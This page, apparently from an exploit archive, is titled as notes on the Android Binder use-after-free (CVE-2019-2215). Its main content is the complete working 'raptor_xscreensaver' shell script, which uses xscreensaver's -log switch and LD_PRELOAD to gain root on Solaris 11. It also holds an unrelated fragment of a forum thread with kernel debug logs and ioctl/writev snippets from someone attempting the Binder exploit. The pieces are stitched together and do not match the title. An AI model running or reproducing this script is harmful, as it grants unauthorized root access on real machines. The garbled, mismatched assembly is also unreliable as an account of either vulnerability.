Android Binder Use-After-Free

These are notes on further exploitation of the Android Binder use-after-free vulnerability as noted in CVE-2019-2215 and leveraged against Kernel 3.4.x and 3.18.x on Samsung Devices using Samsung Android and LineageOS.


MD5 | 615c42102bb321281534f993eefa6acb

# Exploit Title: Solaris xscreensaver 11.4 - Privilege Escalation
# Date: 2019-10-16
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/technetwork/server-storage/solaris11/
# Version: Solaris 11.x
# Tested on: Solaris 11.4 and 11.3 X86
# CVE: N/A

#!/bin/sh

#
# raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
# Copyright (c) 2019 Marco Ivaldi <[email protected]>
#
# Exploitation of a design error vulnerability in xscreensaver, as
# distributed with Solaris 11.x, allows local attackers to create
# (or append to) arbitrary files on the system, by abusing the -log
# command line switch introduced in version 5.06. This flaw can be
# leveraged to cause a denial of service condition or to escalate
# privileges to root. This is a Solaris-specific vulnerability,
# caused by the fact that Oracle maintains a slightly different
# codebase from the upstream one (CVE-2019-3010).
#
# "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs
# "Good hackers force luck." -- ~A.
#
# This exploit targets the /usr/lib/secure/ directory in order
# to escalate privileges with the LD_PRELOAD technique. The
# implementation of other exploitation vectors, including those
# that do not require gcc to be present on the target system, is
# left as an exercise to fellow UNIX hackers;)
#
# Usage:
# raptor@stalker:~$ chmod +x raptor_xscreensaver
# raptor@stalker:~$ ./raptor_xscreensaver
# [...]
# Oracle Corporation SunOS 5.11 11.4 Aug 2018
# root@stalker:~# id
# uid=0(root) gid=0(root)
# root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.*
#
# Vulnerable platforms:
# Oracle Solaris 11 X86 [tested on 11.4 and 11.3]
# Oracle Solaris 11 SPARC [untested]
#

echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver"
echo "Copyright (c) 2019 Marco Ivaldi <[email protected]>"
echo

# prepare the payload
echo "int getuid(){return 0;}" > /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
if [ $? -ne 0 ]; then
echo "error: problem compiling the shared library, check your gcc"
exit 1
fi

# check the architecture
LOG=/usr/lib/secure/getuid.so
file /bin/su | grep 64-bit >/dev/null 2>&1
if [ $? -eq 0 ]; then
LOG=/usr/lib/secure/64/getuid.so
fi

# start our own xserver
# alternatively we can connect back to a valid xserver (e.g. xquartz)
/usr/bin/Xorg :1 &

# trigger the bug
umask 0
/usr/bin/xscreensaver -display :1 -log $LOG &
sleep 5

# clean up
pkill -n xscreensaver
pkill -n Xorg

# LD_PRELOAD-fu
cp /tmp/getuid.so $LOG
LD_PRELOAD=$LOG su -
thread:e4fb2e00

I see proc->task_list ...

PoC:

[ 642.254192] wq queue:e7ce8798
[ 642.254201] epoll struct:e7ce8780
[ 642.254214] wq queue:e7ce8f98
[ 642.254220] epoll struct:e7ce8f80
[ 642.254230] wq queue:e7ce8718
[ 642.254236] epoll struct:e7ce8700
[ 642.254266] binder_ioctl: 7392:7392 40046208 0
[ 642.254274] iovec str size:8
[ 642.254280] thread->task_list:e5389b30
[ 642.254286] proc->task_list:c309d86c
[ 642.254292] binder_free_thread size:252 worker_off:44
[ 642.254299] freed thread:e5389b00
[ 642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[ 642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[ 642.254799] ep_unregister_pollwait list not empty
[ 642.254805] whead before
[ 642.254811] my2= c0f50cc4 c0f50cc4
[ 642.254817] remove wait queue:e734b994
[ 642.254823] remove wait queue task list:e734b9a0
[ 642.254830] ep_unregister_pollwait list not empty
[ 642.254835] whead before
[ 642.254841] my2= c0f50cd0 c0f50cd0
[ 642.254847] remove wait queue:e734bb24
[ 642.254852] remove wait queue task list:e734bb30
[ 642.254863] ep_free
[ 642.254873] ep_free
[ 642.254881] ep_free

However bug is not triggered in my PoC. I cannot see doubly list entiries under thread and proc :/


Here is where the use after free bug should come in.

Code:

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);

When this is called, the binder_thread structure is freed in the kernel.

Immediately after the parent process calls:

Code:

b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

In the kernel, memory is allocated to copy over iovec_array from userspace. This poc depends on the pointer from this allocation, to be the same as the recently freed binder_thread memory.

Then, when the child process exits, the EPOLL cleanup will use the waitqueue in the binder_thread structure, that has been overwritten with the values in iovec_array. When EPOLL cleanup unlinks the waitqueue, 0xDEADBEEF will get overwritten by a pointer in kernelspace. This has to happen just before the writev call in the parent process starts to copy over the second buffer, which gets us a kernel space memory leak.

If writev is returning 0x1000 it means the timing is off, the wait queue offset is off, the kmalloc allocation in the writev function isn't the same as the freed binder_thread, or your kernel isn't vulnerable.

```

## Update 1

```
I narrowed it down ... so I want to replicate behavior of com.cyanogenmod.lockclock

It behaves like I want it to see:

s3ve3g:/ # ps | grep 2140
u0_a50 2140 257 845744 36336 sys_epoll_ b4ed9114 S com.cyanogenmod.lockclock

Source:

https://github.com/LineageOS/android_packages_apps_LockClock

[ 53.617686] binder_ioctl: 2140:2401 40046208 0
[ 53.617697] iovec str size:8
[ 53.617704] thread->task_list:e5b2c030
[ 53.617710] proc->task_list:e609206c
[ 53.617716] p list= e609206c e50c3e7c
[ 53.617722] p list= e50c5e7c e609206c
[ 53.617729] binder_free_thread size:252 worker_off:44
[ 53.617736] freed thread:e5b2c000
[ 53.617755] ep_unregister_pollwait struct:e5f5c680 epi struct:e5f4c280
[ 53.617762] ep_unregister_pollwait list not empty
[ 53.617768] whead before
[ 53.617773] my2= e8b10308 e8b10308
[ 53.617779] remove wait queue:e5fd755c
[ 53.617785] remove wait queue task list:e5fd7568
[ 53.617803] ep_free

I think Binder is used here:

https://github.com/LineageOS/android_packages_apps_LockClock/blob/5239d22272aa2b7a2bcf2c45482395da3e163289/src/org/lineageos/lockclock/DeviceStatusService.java

Any idea how to replicate this using C (native) code?


```


Related Posts